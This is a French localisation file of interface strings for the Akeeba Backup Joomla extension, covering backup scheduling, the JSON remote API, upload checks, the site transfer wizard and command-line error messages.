COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME="Heure d'exécution"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME_INFO="Il s'agit de la grille sous les autres options. Sélectionnez quand et à quelle fréquence vous souhaitez que votre tâche CRON s'exécute."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_INFO="Connectez-vous à webcron.org. Dans la zone CRON, cliquez sur le bouton Nouveau Cron. Vous trouverez ci-dessous ce que vous devez saisir dans l'interface de webcron.org."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGIN="Identifiant"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGINPASSWORD_INFO="Laissez ce champ vide"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME="Nom de la tâche cron"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME_INFO="Ce que vous voulez, par exemple <em>Sauvegarde de mon site</em>"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_PASSWORD="Mot de passe"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_THENCLICKSUBMIT="Enfin, cliquez sur le bouton Envoyer pour terminer la configuration de votre tâche CRON."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT="Délai d'expiration"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT_INFO="180 secondes ; si la sauvegarde ne se termine pas, augmentez cette valeur. La plupart des sites fonctionneront avec un paramètre de 180 ou 600. Si votre site est très volumineux et met plus de 5 minutes à se sauvegarder, envisagez d'utiliser Akeeba Backup Professional et la tâche CRON CLI native à la place, car elle est bien plus rentable."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_URL="URL à exécuter"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WGET="Planification CRON avec wget (la plupart des hébergeurs, la plupart des distributions Linux) :"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICREADDOC="Lire la documentation"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICUSECLI="Utilisez la commande suivante dans l'interface CRON de votre hébergeur :"
COM_AKEEBABACKUP_SCHEDULE_LBL_HEADERINFO="Akeeba Backup propose plusieurs méthodes de planification. Vous trouverez ci-dessous plus d'informations sur chaque méthode de planification. Veuillez lire la documentation de chaque méthode de planification. Elle répondra à beaucoup de vos questions et vous aidera à planifier vos sauvegardes plus facilement."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP="Fonctionnalité de sauvegarde distante (API JSON)"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP_INFO="Vous pouvez utiliser cette méthode pour effectuer des sauvegardes de votre site à distance en utilisant notre logiciel qui prend en charge cette fonctionnalité (par exemple Akeeba Remote CLI et Akeeba UNiTE)."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISABLED="Veuillez aller dans Akeeba Backup, cliquer sur Options, puis sur l'onglet Frontal. Définissez « Activer l'API JSON (sauvegarde distante) » sur Oui pour activer cette fonctionnalité."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI="Akeeba Remote CLI"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_INTRO="Vous pouvez utiliser l'application en ligne de commande Akeeba Remote CLI pour effectuer des sauvegardes de vos sites à distance. Vous pouvez planifier ces commandes sur votre ordinateur, ou un autre serveur, pour automatiser vos sauvegardes."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_DOCKER="Pour effectuer une sauvegarde avec Akeeba Remote CLI via <strong>Docker</strong>, exécutez la commande suivante :"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_PHAR="Pour effectuer une sauvegarde avec Akeeba Remote CLI en utilisant l'<strong>archive PHAR</strong> téléchargeable depuis notre site, exécutez la commande suivante :"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_OTHER="Autres outils"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_INTRO="Si vous utilisez Akeeba UNiTE ou d'autres logiciels utilisant l'API JSON distante, vous devrez fournir les informations suivantes."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ENDPOINT="URL du point de terminaison"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_SECRET="Clé secrète"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISCLAIMER="Akeeba Ltd n'approuve pas, n'accepte aucune responsabilité et ne fournit pas d'assistance pour les logiciels ou services tiers qui interfacent Akeeba Backup via l'API JSON. Nous fournirons une assistance pour effectuer des sauvegardes avec l'API JSON d'Akeeba uniquement si la clé secrète est générée automatiquement par notre logiciel et que la demande concerne l'utilisation de notre propre logiciel client de l'API JSON d'Akeeba (par exemple Akeeba Remote CLI)."
COM_AKEEBABACKUP_SCHEDULE_LBL_LEGACYAPI_DISABLED="Veuillez aller dans Akeeba Backup, cliquer sur Options, puis sur l'onglet Frontal. Définissez « Activer l'API de sauvegarde frontale héritée (tâches CRON distantes) » sur Oui pour activer cette fonctionnalité."
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_LEGACYAPI="Activer l'API de sauvegarde frontale héritée"
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_JSONAPI="Activer l'API JSON d'Akeeba"
COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD="Réinitialiser la clé secrète"
COM_AKEEBABACKUP_SCHEDULE_LBL_RUN_BACKUPS="Exécuter les sauvegardes"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADENOW="Mettre à niveau maintenant"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADETOPRO="Cette fonctionnalité est uniquement disponible dans Akeeba Backup Professional"
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_HEAD="Le plugin <em>Console – Akeeba Backup</em> est désactivé."
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_BODY="Veuillez aller dans Système, Gérer, Plugins et activer le plugin « Console – Akeeba Backup ». Il est nécessaire pour que cette fonctionnalité fonctionne."

COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS="Vérifier les chargements de sauvegardes"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS_HEADERINFO="<p>Lorsqu'une sauvegarde ne parvient pas à charger l'archive vers son stockage distant configuré, cela n'est généralement pas considéré comme un échec de sauvegarde (sauf si vous avez explicitement choisi de le traiter comme tel). C'est parce que l'archive de sauvegarde existe toujours sur votre serveur. Vous devez cependant retourner sur votre site et réessayer le chargement depuis la page Gérer les sauvegardes — en corrigeant également les éventuels problèmes de connexion avec le stockage distant.</p><p>Le problème typique est que vous ne savez peut-être pas que le chargement a échoué. C'est là qu'intervient la vérification des chargements de sauvegardes. Planifiez-la pour qu'elle s'exécute après la fin prévue de vos sauvegardes planifiées, et elle vous enverra un e-mail si l'une de vos sauvegardes effectuées depuis la dernière exécution de la vérification n'a pas réussi à charger vers son stockage distant configuré.</p><p>Vous pouvez planifier cette vérification avec de nombreuses méthodes différentes, tout comme la sauvegarde elle-même. Vous trouverez ci-dessous plus d'informations sur chaque méthode de planification disponible pour les vérifications de chargement de sauvegardes. Si vous n'êtes pas sûr de laquelle utiliser, nous vous recommandons d'utiliser la même méthode de planification que pour vos sauvegardes.</p>"


COM_AKEEBABACKUP_TITLE_ALICES="Dépanneur - ALICE"

COM_AKEEBABACKUP_TRANSFER="Assistant de transfert de site"
COM_AKEEBABACKUP_TRANSFER_BTN_FTP_PROCEED="Procéder à la restauration"
COM_AKEEBABACKUP_TRANSFER_BTN_OPEN_KICKSTART="Exécuter Kickstart"
COM_AKEEBABACKUP_TRANSFER_BTN_RESET="Réinitialiser"
COM_AKEEBABACKUP_TRANSFER_DESC="Transfère l'archive en exécutant le moteur de post-traitement « %s » sur l'archive."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTACCESSTESTFILE="Akeeba Backup ne peut pas vérifier que les informations de connexion que vous avez saisies correspondent à l'URL du site que vous avez indiquée. Si vous essayez de restaurer dans un sous-répertoire d'un site existant, cela signifie que le site principal bloque l'accès au sous-répertoire ; veuillez contacter l'administrateur de votre site. Dans tout autre cas, vous avez saisi de mauvaises informations de connexion, très probablement un mauvais répertoire. Veuillez contacter votre hébergeur et lui demander les informations de connexion correctes, <em>y compris le répertoire</em>, qui correspond à l'URL que vous avez saisie dans cet assistant. Revenez ensuite ici, saisissez les informations correctes et continuez la restauration."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTREADLOCALFILE="Akeeba Backup ne peut pas lire le fichier de sauvegarde local <code>%s</code>. Cet assistant a échoué. Veuillez effectuer une nouvelle sauvegarde et réessayer. Notez que des fichiers ont été laissés sur votre nouveau serveur ; vous voudrez peut-être les supprimer manuellement."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTRUNKICKSTART="Akeeba Backup ne peut pas exécuter Akeeba Kickstart sur votre nouveau site. Si vous essayez de restaurer dans un sous-répertoire d'un site existant, cela signifie que le site principal bloque l'accès au sous-répertoire ; veuillez contacter l'administrateur de votre site. Dans tout autre cas, vous devez contacter votre hébergeur et vérifier que votre version PHP par défaut correspond aux exigences minimales de Kickstart."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADARCHIVE="Akeeba Backup ne peut pas charger le fichier de sauvegarde <code>%s</code>. Il est possible que le serveur de votre nouveau site soit à court d'espace disque ou qu'une protection du serveur bloque la transmission des données. Veuillez essayer de transférer votre site en sélectionnant l'option de transfert manuel. Notez que des fichiers ont été laissés sur votre nouveau serveur ; vous voudrez peut-être les supprimer manuellement."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADKICKSTART="Akeeba Backup ne peut pas charger Akeeba Kickstart à la racine de votre nouveau site. Veuillez vérifier que vous avez saisi les informations de connexion correctes et qu'il est possible pour l'utilisateur FTP/SFTP d'écrire des fichiers dans le répertoire sélectionné. Si vous avez déjà kickstart.php et kickstart.transfer.php sur le site distant, veuillez les supprimer avant de réessayer de transférer votre site."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTEMP="Akeeba Backup ne peut pas charger un fragment de votre archive de sauvegarde depuis le fichier local <code>%s</code> vers le fichier distant <code>%s</code>. Veuillez vérifier que votre serveur distant autorise le chargement de fichiers et qu'il dispose de suffisamment d'espace disque pour vos fichiers d'archive de sauvegarde."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTESTFILE="Akeeba Backup ne peut pas charger un fichier de test nommé <code>%s</code> à la racine de votre nouveau site. Veuillez vérifier que vous avez saisi les informations de connexion correctes et qu'il est possible pour l'utilisateur FTP/SFTP d'écrire des fichiers dans le répertoire sélectionné."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTWRITEREMOTEFILES="Malheureusement, Akeeba Backup a déterminé qu'il ne peut pas écrire directement dans les fichiers de votre serveur distant. Cet assistant ne peut pas continuer. Vous devrez utiliser la méthode de transfert « Manuel »."
COM_AKEEBABACKUP_TRANSFER_ERR_CANTCREATETEMPCHUNK="Impossible de créer un fichier temporaire sur ce serveur. Veuillez vérifier que votre répertoire temporaire est correctement configuré et accessible en écriture par l'utilisateur sous lequel le serveur web s'exécute actuellement."
COM_AKEEBABACKUP_TRANSFER_ERR_COMPLETEBACKUP="Aucune sauvegarde trouvée. Cliquez sur le bouton Sauvegarder maintenant pour effectuer une nouvelle sauvegarde."
COM_AKEEBABACKUP_TRANSFER_ERR_DNS="Le nom de domaine de l'URL que vous avez saisie (%s) ne peut pas être résolu depuis le serveur sur lequel Akeeba Backup s'exécute. Si vous avez récemment enregistré ou transféré ce nom de domaine, veuillez patienter davantage le temps que les serveurs DNS soient mis à jour (généralement entre 6 et 48 heures). Sinon, veuillez vérifier les paramètres DNS de votre nom de domaine."
COM_AKEEBABACKUP_TRANSFER_ERR_ERRORFROMREMOTE="Akeeba Backup a reçu une erreur du serveur distant lors du chargement de l'archive de sauvegarde. L'erreur était : %s"
COM_AKEEBABACKUP_TRANSFER_ERR_EXISTINGSITE="Un autre site existe déjà à cet emplacement. Veuillez supprimer le site existant avant d'en transférer un nouveau. Tenter d'écraser un site existant entraînera très probablement un site défaillant que vous ne pourrez pas corriger."
COM_AKEEBABACKUP_TRANSFER_ERR_HTACCESS="Un fichier <code>%s</code> a été trouvé à la racine de votre nouveau site. Ce fichier peut interférer avec le processus de transfert de site. Veuillez le supprimer avant de procéder au transfert du site. Notez que le fichier peut être <em>masqué</em>. Si vous ne le voyez pas dans le gestionnaire de fichiers de votre panneau d'hébergement ou dans votre client FTP, veuillez contacter votre hébergeur pour plus d'informations sur la suppression de ce fichier."
COM_AKEEBABACKUP_TRANSFER_ERR_INVALIDID="Erreur interne : l'identifiant de sauvegarde à charger est invalide ou manquant."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN="Vérifier"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN_IGNOREERROR="Je souhaite ignorer cet avertissement et continuer <strong>à mes propres risques</strong>"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_INVALID="L'URL que vous avez saisie est invalide."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_NOTEXISTS="Votre serveur ne peut pas accéder à l'URL que vous avez saisie. Veuillez vérifier que vous l'avez saisie correctement. Notez également que les noms de domaine nouvellement attribués ou transférés peuvent mettre <strong>jusqu'à 48 heures</strong> avant d'être visibles par chaque serveur et ordinateur connecté à Internet."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_SAME="L'URL que vous avez saisie est identique à celle depuis laquelle vous restaurez. Cela n'est pas pris en charge par cet assistant. Pour restaurer une sauvegarde sans utiliser l'assistant, veuillez consulter notre tutoriel vidéo via le lien ci-dessous."
COM_AKEEBABACKUP_TRANSFER_ERR_NOTENOUGHSPACE="Le transfert de site ne peut pas continuer. Vous avez besoin d'environ %s d'espace libre, mais votre serveur indique que seulement %s est actuellement disponible. Veuillez libérer davantage d'espace sur votre serveur."
COM_AKEEBABACKUP_TRANSFER_ERR_OVERRIDE="Ignorer les erreurs détectées et transférer le site quand même"
COM_AKEEBABACKUP_TRANSFER_ERR_SAMESITE="Vous avez saisi les informations de connexion du site depuis lequel vous effectuez le transfert. <strong>Votre erreur aurait supprimé votre propre site</strong>. Vous devez saisir les informations de connexion FTP/SFTP du site vers lequel vous transférez <strong>(nouveau site ou nouveau serveur)</strong>. Veuillez corriger les informations ci-dessus et réessayer."
COM_AKEEBABACKUP_TRANSFER_ERR_SPACE="Vous n'avez que <span></span> d'espace libre. Vous avez besoin de plus d'espace libre pour transférer votre site. Veuillez contacter votre hébergeur."
COM_AKEEBABACKUP_TRANSFER_ERR_WRONGSSL="Votre site possède un certificat SSL invalide ou auto-signé. Pour des raisons de sécurité, le transfert de site ne peut pas continuer. Veuillez cliquer sur Réinitialiser pour redémarrer le transfert de site et utiliser une URL sans <code>https://</code>. Cela est nécessaire lorsque vous essayez de transférer votre site avant de transférer votre nom de domaine vers le nouvel hébergeur. Vous pouvez également contacter votre hébergeur pour obtenir un certificat SSL valide. Même un certificat gratuit délivré par l'autorité de certification à coût nul Let's Encrypt conviendra."
COM_AKEEBABACKUP_TRANSFER_FORCE_BODY="Vous exécutez l'Assistant de transfert de site en mode forcé. Cela signifie que certaines vérifications de cohérence qui s'exécutent normalement avant le transfert de site ne seront pas effectuées. En conséquence, le transfert peut écraser un site existant, aboutir à une URL différente de celle attendue ou simplement échouer. <strong>Il s'agit d'une fonctionnalité pour utilisateurs avancés. Veuillez ne pas continuer si vous n'êtes pas à l'aise avec cela.</strong>"
COM_AKEEBABACKUP_TRANSFER_FORCE_HEADER="Mode forcé activé"
COM_AKEEBABACKUP_TRANSFER_HEAD_MANUALTRANSFER="Transfert manuel"
COM_AKEEBABACKUP_TRANSFER_HEAD_PREREQUISITES="Prérequis"
COM_AKEEBABACKUP_TRANSFER_HEAD_REMOTECONNECTION="Connexion au nouveau site"
COM_AKEEBABACKUP_TRANSFER_HEAD_UPLOAD="Téléverser et restaurer"
COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE="Taille des fragments"
COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE_INFO="Les fichiers d'archive de sauvegarde sont transférés en petits fragments vers le serveur distant. Ce paramètre détermine la taille de ces fragments. Des tailles trop petites peuvent amener le serveur distant à vous bloquer, vous confondant avec un utilisateur abusif, provoquant ainsi une erreur de téléversement. Des tailles trop grandes peuvent entraîner une erreur de délai d'attente sur le serveur source ou le serveur distant, provoquant l'affichage d'une erreur AJAX. En général, des valeurs entre 5M et 20M donnent les meilleurs résultats."
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP="Une sauvegarde complète du site"
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP_INFO="Sauvegarde trouvée ; effectuée le %s"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_DIRECTORY="Répertoire FTP/SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_HOST="Nom d'hôte"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSIVE="Mode passif"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSWORD="Mot de passe"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PORT="Port"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PRIVATEKEY="Fichier de clé privée SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PUBKEY="Fichier de clé publique SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_USERNAME="Nom d'utilisateur"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_INFO="Suivez les instructions de la vidéo pour transférer votre site manuellement. Des informations sur l'archive de sauvegarde se trouvent sous le lien vers la vidéo (faites défiler vers le bas)."
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_LINK="Regarder le tutoriel vidéo"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_MULTIPART="Vous devez transférer <strong>tous</strong> les %u fichiers :"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL="L'URL de votre nouveau site"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL_TIP="Saisissez l'URL du site vers lequel vous effectuez la restauration"
COM_AKEEBABACKUP_TRANSFER_LBL_OPEN_KICKSTART_INFO="Kickstart vous permettra d'extraire l'archive de sauvegarde et de lancer la restauration sur le serveur distant."
COM_AKEEBABACKUP_TRANSFER_LBL_SPACE="Environ %s d'espace libre sur votre nouveau site"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD="Méthode de transfert de fichiers"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTP="FTP, fonctions PHP natives"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPCURL="FTP, via cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPS="FTPS, fonctions PHP natives"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPSCURL="FTPS, via cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_MANUALLY="Manuellement"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTP="SFTP, extension PHP SSH2 native"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTPCURL="SFTP, via cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE="Mode de transfert de l'archive"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_CHUNKED="Via FTP / SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_INFO="Les fichiers d'archive de sauvegarde sont transférés en petits fragments vers le serveur distant, puis réassemblés en fichiers complets sur place. Cette option contrôle la façon dont ces petits fragments sont transférés."
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_POST="Via HTTP / HTTPS"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_BACKUP="Téléversement de l'archive de sauvegarde"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_KICKSTART="Téléversement de Kickstart"
COM_AKEEBABACKUP_TRANSFER_LBL_VALIDATING="Validation en cours…"
COM_AKEEBABACKUP_TRANSFER_MSG_DONE="Le téléversement est terminé !"
COM_AKEEBABACKUP_TRANSFER_MSG_FAILED="Le téléversement de l'archive de sauvegarde a échoué."
COM_AKEEBABACKUP_TRANSFER_MSG_START="Préparation du téléversement de votre archive. Cela prendra un certain temps. Veuillez patienter."
COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGFRAG="Poursuite du téléversement de la partie %s de %s de l'archive. Fragment %s en cours de traitement. Veuillez patienter."
COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGPART="Téléversement de la partie %s de %s de l'archive. Veuillez patienter."
COM_AKEEBABACKUP_TRANSFER_TITLE="Transférer l'archive"
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_BODY="Certaines méthodes de transfert listées ci-dessus et marquées d'un &#128274; sont bloquées par un pare-feu sur votre serveur. Si vous les utilisez, cet assistant échouera très probablement. Veuillez contacter votre hébergeur et lui demander de désactiver le pare-feu ou d'ajouter des exceptions avant de transférer votre site. Vous pouvez également sélectionner Manuellement ci-dessus, cliquer sur Procéder à la restauration et suivre les instructions pour un transfert manuel du site."
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_HEAD="Le pare-feu du serveur bloque les transferts de fichiers - CET ASSISTANT PEUT ÉCHOUER"

COM_AKEEBABACKUP_FILTER_SELECT_FROZEN="– Figé –"
COM_AKEEBABACKUP_FILTER_SELECT_PROFILEID="– Profil de sauvegarde –"

COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE="Impossible de charger le moteur de Akeeba Backup."

COM_AKEEBABACKUP_CLI_ERR_CANNOT_GENERATE_YAML="Impossible de générer le YAML"
COM_AKEEBABACKUP_CLI_ERR_YAML_EXTENSION_NOT_FOUND="Votre installation PHP ne dispose pas de l'extension PHP YAML installée ou activée."
COM_AKEEBABACKUP_CLI_ERR_UNSET_TIME_LIMITS="Impossible de supprimer les restrictions de limite de temps ; vous risquez d'obtenir une erreur de délai d'attente."
COM_AKEEBABACKUP_CLI_ERR_NO_LIVE_SITE="Ce script n'a pas pu détecter l'URL de votre site en ligne. Veuillez visiter au moins une fois la page du Panneau de contrôle d'Akeeba Backup avant d'exécuter ce script, afin que cette information puisse être enregistrée pour être utilisée par ce script."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_DISABLED="La fonctionnalité de sauvegarde frontale de votre installation d'Akeeba Backup est actuellement désactivée. Veuillez vous connecter à l'administration de votre site en tant que Super Utilisateur, aller dans le Panneau de contrôle d'Akeeba Backup, cliquer sur l'icône Options en haut à droite et activer la fonctionnalité de sauvegarde frontale. N'oubliez pas de définir également un mot secret !"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOSECRET="Vous avez activé la fonctionnalité de sauvegarde frontale, mais vous avez oublié de définir un mot secret. Sans un mot secret valide, ce script ne peut pas continuer. Veuillez vous connecter à l'administration de votre site en tant que Super Administrateur, aller dans le Panneau de contrôle d'Akeeba Backup, cliquer sur l'icône Options en haut à droite et définir un mot secret."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOMETHOD="Aucune méthode prise en charge n'a été trouvée pour exécuter la fonctionnalité de sauvegarde frontale d'Akeeba Backup. Veuillez vérifier auprès de votre hébergeur qu'au moins une des fonctionnalités suivantes est prise en charge dans votre configuration PHP :"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NOMETHOD="Aucune méthode prise en charge n'a été trouvée pour exécuter la fonctionnalité de vérification des sauvegardes échouées d'Akeeba Backup. Veuillez vérifier auprès de votre hébergeur qu'au moins une des fonctionnalités suivantes est prise en charge dans votre configuration PHP :"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_CURL="1. L'extension cURL"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_FOPEN="2. Les wrappers d'URL fopen(), c'est-à-dire que allow_url_fopen est activé"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_METHOD_NOMETHOD="Si aucune de ces méthodes n'est disponible, vous ne pourrez pas sauvegarder votre site en utilisant cette commande CLI."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_METHOD_NOMETHOD="Si aucune de ces méthodes n'est disponible, vous ne pourrez pas vérifier les sauvegardes échouées de votre site en utilisant cette commande CLI."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_HTTP_ERROR="Votre tentative de sauvegarde a échoué avec le code d'erreur HTTP %d (%s). Veuillez consulter le journal de sauvegarde et le journal d'erreurs de votre serveur pour plus d'informations."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_HTTP_ERROR="Votre tentative de vérification des sauvegardes échouées a échoué avec le code d'erreur HTTP %d (%s). Veuillez consulter le journal d'erreurs de votre serveur pour plus d'informations."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NO_MESSAGE_FROM_SERVER="Votre tentative de sauvegarde a expiré ou une erreur PHP fatale s'est produite. Veuillez consulter le journal de sauvegarde et le journal d'erreurs de votre serveur pour plus d'informations."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NO_MESSAGE_FROM_SERVER="Votre tentative de vérification des sauvegardes échouées a expiré ou une erreur PHP fatale s'est produite."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR_RECEIVED="Une erreur de sauvegarde s'est produite. La réponse du serveur était :"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_ERROR_RECEIVED="Une erreur lors de la vérification des sauvegardes échouées s'est produite. La réponse du serveur était :"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR403_RECEIVED="Le serveur a refusé la connexion. Veuillez vous assurer que la fonctionnalité de sauvegarde frontale est activée et qu'un mot secret valide est en place."
COM_AKEEBABACKUP_CLI_ERR_SERVER_RESPONSE="Réponse du serveur :"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE="Nous n'avons pas pu comprendre la réponse du serveur. Une erreur de sauvegarde s'est très probablement produite. La réponse du serveur était :"
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE="Nous n'avons pas pu comprendre la réponse du serveur. Une erreur de vérification des sauvegardes échouées s'est très probablement produite. La réponse du serveur était :"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE_INFO="Si vous ne voyez pas « 200 OK » à la fin de cette sortie, la sauvegarde a échoué."
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE_INFO="Si vous ne voyez pas « 200 OK » à la fin de cette sortie, la vérification des sauvegardes échouées a échoué."

COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_HELP="<info>%command.name%</info> vérifiera les tentatives de sauvegarde échouées avec Akeeba Backup, en utilisant sa fonctionnalité frontale.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_DESC="Vérifier les sauvegardes Akeeba Backup échouées via sa fonctionnalité frontale"

COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_HELP="<info>%command.name%</info> vérifiera les sauvegardes Akeeba Backup dont le téléversement vers le stockage distant a échoué, en utilisant sa fonctionnalité frontale.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_DESC="Vérifier les sauvegardes Akeeba Backup dont le téléversement vers le stockage distant a échoué, via sa fonctionnalité frontale"

COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_HELP="<info>%command.name%</info> effectuera une sauvegarde avec Akeeba Backup, en utilisant sa fonctionnalité de sauvegarde frontale.\nUtilisation : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_DESC="Effectuer une sauvegarde avec la fonctionnalité de sauvegarde frontale d'Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_OPT_PROFILE="Numéro de profil"
COM_AKEEBABACKUP_CLI_HEAD_BACKUP_ALTERNATE="Effectuer une sauvegarde avec la fonctionnalité de sauvegarde frontale d'Akeeba Backup"

COM_AKEEBABACKUP_CLI_HEAD_CHECK_ALTERNATE="Vérification des tentatives de sauvegarde échouées effectuées avec Akeeba Backup via la fonctionnalité frontale"

COM_AKEEBABACKUP_CLI_LBL_UNSET_TIME_LIMITS="Suppression des restrictions de limite de temps"
COM_AKEEBABACKUP_CLI_LBL_START_BACKUP_WITH_PROFILE="Démarrage d'une sauvegarde avec le profil de sauvegarde n°%d"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_BACKUP="[%s] Début de la sauvegarde"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_CHECK="[%s] Démarrage de la vérification des sauvegardes échouées"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_UPLOADCHECK="[%s] Démarrage de la vérification des téléversements échoués"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_RECEIVED_HTTP="[%s] HTTP %d reçu"
